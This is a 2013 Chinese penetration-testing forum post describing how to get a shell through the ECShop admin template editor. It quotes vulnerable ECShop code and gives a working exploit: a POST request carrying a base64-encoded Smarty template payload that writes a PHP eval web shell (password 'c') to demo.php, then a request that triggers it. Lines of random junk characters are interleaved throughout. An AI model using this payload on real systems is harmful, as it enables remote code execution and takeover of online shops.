中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: J% F+ N7 d2 x l2 u8 M7 H
' p3 G% }6 t: f) V
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
* S# ~' c! d7 A8 ^* ` |
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- k" P) \9 A; P2 I
admin/template.php
4 ~6 h0 E2 s+ E* C7 [
! G3 K1 F$ ^. u8 f3 S
1 if ($_REQUEST['act'] == 'update_library')
- G' H1 q* e/ g5 ^- _
2 F( b& b3 A& @4 e6 b
2
; N# u% z: j X9 `) H
" U5 t. e2 X. ^0 X4 P" X# i
3 {
% @6 w* {- J. b
+ x- C3 Z5 G7 l5 p+ D' l0 o3 b
4 check_authz_json('library_manage');
; k6 o! G8 d2 n& |
2 Q' @! m4 C% X7 @
5
4 u) i/ E9 {+ \; ]! I3 G
8 n! _1 W) E3 f/ _5 w
6 $html = stripslashes(json_str_iconv($_POST['html']));
: {2 q# d2 l/ n0 h
# P# v$ i8 `0 l
7
& T3 B: ~' F5 m8 g7 D/ j
; v+ b/ e3 S1 `/ |
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
- H1 c! a% P3 G. y
) X/ D4 r* b# h2 c# J
9
, M E. D0 U' ^* J( ]
8 Q6 _ y- }7 g8 F2 E% k5 H
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 q7 Z7 o+ `0 T- B e# b
$ {% S1 I, y7 o2 F. |+ g
11
1 S( P! s2 m; R& C
3 V: O3 G1 y' h- Y1 D# J/ M, y
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! ]3 e, `3 N* B4 V
6 }- u' o6 `( n4 R1 Q
13
8 g2 A$ y9 Y+ b6 ^6 x5 N. U7 n
2 s" k# ~7 A! x; d; Z
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
* s; [7 n# w: W2 @& D1 \$ d
4 S3 { Y7 \' Z& w
15 {
% k, L$ T k5 w1 c* O" P( t
/ C) I+ p. D( z* O' C
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# d0 L+ a$ o. Y8 g+ B7 m3 `
7 @( k4 ]9 n. i
17 make_json_result('', $_LANG['update_lib_success']);
% L+ E% G* o- E, m! Y; {
6 F* W3 K1 y+ c* D1 ?8 j4 d
18 }
' `% E1 Q% b* o0 Q3 x6 V" `2 O. N
8 e8 R7 j6 S, j3 n
19 else
: ?& L" C9 P, @1 C
( C5 t" n- T/ A2 P
20 {
8 p m1 s! C D- v
2 V b" h4 d! j. P( U
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
3 R M" C2 M/ ]5 m3 M) b' c
4 T+ W' ~9 ^# e O1 y& |
22 }
% s8 M& `5 c- \
* I/ ^; B* z7 E2 ^# v7 {
23 }
7 m1 S3 m; c6 w1 r
7 j; i- ?' {4 l7 h6 @% _$ N
那么找个比较方便调用了模板的文件
/ ^1 v8 b. r* f# h3 m
index.php
) o4 H' L$ w) |, q
: D1 D2 Q; B" s" u9 S& B7 v" ]5 d
1 if ($act == 'cat_rec')
" L# y( H" D: J
; v0 Q- B* ^- K8 p1 \- R2 _ Y
2
# N( J( k+ z3 t' R% [, H
0 `+ k5 u: L! U* v
3 {
0 x! H0 @( l$ R$ \% }9 l! f5 _
% ^. @$ O! }: [
4
/ ` a4 w# H& S3 s( B: e2 D
% R% v' ?# J& K- _
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& v) |" h6 f% }1 m
3 M U4 r. U$ F! |7 y2 E
6
1 k. I6 S3 G4 e3 a# Y3 Z
, C' ]5 `* D/ m1 K" ?# u$ u
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
; `) b% J& Y" d4 N4 L# W
7 t- W5 K! h9 {* v
8
3 ]4 A/ p0 M4 O: x
; r: ?' {$ h& d" l
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
# L( M1 _1 ]2 m3 |( ~1 e' E* |
z' p% L# d2 @$ h3 S( M6 t
10
, h0 i. ^9 D0 ^. b+ P7 f
; B5 N( w) ]5 z" p# o r
11 include_once('includes/cls_json.php');
1 p: j- e4 Y6 t" ^+ |, Q: J
- [* R, x! a1 s! _% f# N
12
: j1 t, L2 C- H! R7 O: R, W1 G1 v
: o" d8 {0 y x# E7 z
13 $json = new JSON;
* g' Y8 s7 q( Q; Q2 D3 V
' p9 A1 Z" u3 l* f' I* N( \$ |
14
* R; D! F; u9 `9 s. h
" p, _4 `8 ^% v2 j8 v* C0 i$ S/ m
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
( _3 s+ L, I4 L7 d N1 f& p
1 [) o" d) [' G2 E
16
6 ^- I1 _5 ]* m& X
8 A) k$ R0 }# l3 y, v
17 $children = get_children($cat_id);
+ m) V% @% y7 U2 s
! P9 m! E+ z4 F0 Y( k
18
0 ~- o3 s+ d4 [
+ |+ [, W3 ]/ E R3 Y' j0 E
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
8 B7 x* R7 Z$ H- E0 f
7 f0 Z* |1 ?# e( b
20
' ~' s/ X) v1 f( W. o! u: q
: @! [; n: r7 H4 n( \$ Q6 T
21 $smarty->assign('cat_rec_sign', 1);
* q& d8 R1 M( f6 k4 H5 B+ A( i
8 a% @. a% l. N6 C( }* F, l7 R
22
. S, N( X4 a8 Z( N! |
( h2 E2 H" o6 h2 h5 ]. t
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* Y0 S+ t# Q$ [0 y6 w
% J# X. `& j" w) {# [9 p8 W
24
1 {7 u( I6 _( T# M1 u3 [
: r: |- R1 n, e
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
4 w& p8 }, l9 {8 {3 d" k! d I* `
z( `$ W2 G) t4 b* K% k
26
; N, }7 |2 Q0 q$ R" R! C
]( x3 W+ j5 k! a+ _( }
27 echo $rec_array[$rec_type];
9 V* {7 r% J- `1 A
Q! ^; c% q2 u3 [4 \! h, A% j
28
6 E( C7 f9 h8 _, ^# R9 Q. R% v, e5 {
1 G; {7 H) ^9 b8 W
29 die($json->encode($result));
2 q4 n, e% [6 @6 x& s( n
: K- y* y7 R: Z: V# R
30
* L/ E* N. D8 ?
- `; q1 |5 M$ b- G. K- {) W3 W
31 }
6 V5 u( F9 Q& R# u. @& H
+ [1 \$ `4 d) _1 z- P! @
那么就有利用方法了
- A# W/ ^7 K3 m) K6 f% K4 ]
post包到http://localhost/ec/admin/template.php?act=update_library
. M. j3 U- T; q/ I4 y3 I* j& H
Post内容:
) c# P) t* L- ?; d1 e. ?
; q3 E( a4 h% _8 @# G0 f
4 A& U. K- c7 z+ X$ J( K1 ]) c0 w1 B
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
( i4 p) M. w9 h! C
6 b& T$ o" N4 i" ?2 q
然后访问http://localhost/ec/index.php?act=cat_rec
! G% L/ V1 k) X
a7 H* h$ f" `7 a
shel地址:http://localhost/ec/demo.php
( X2 q7 G, @" T4 F/ L
密码c
/ P) l$ ^, ?, b3 ]
/ I b! B" i2 S9 W* w% c* P
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2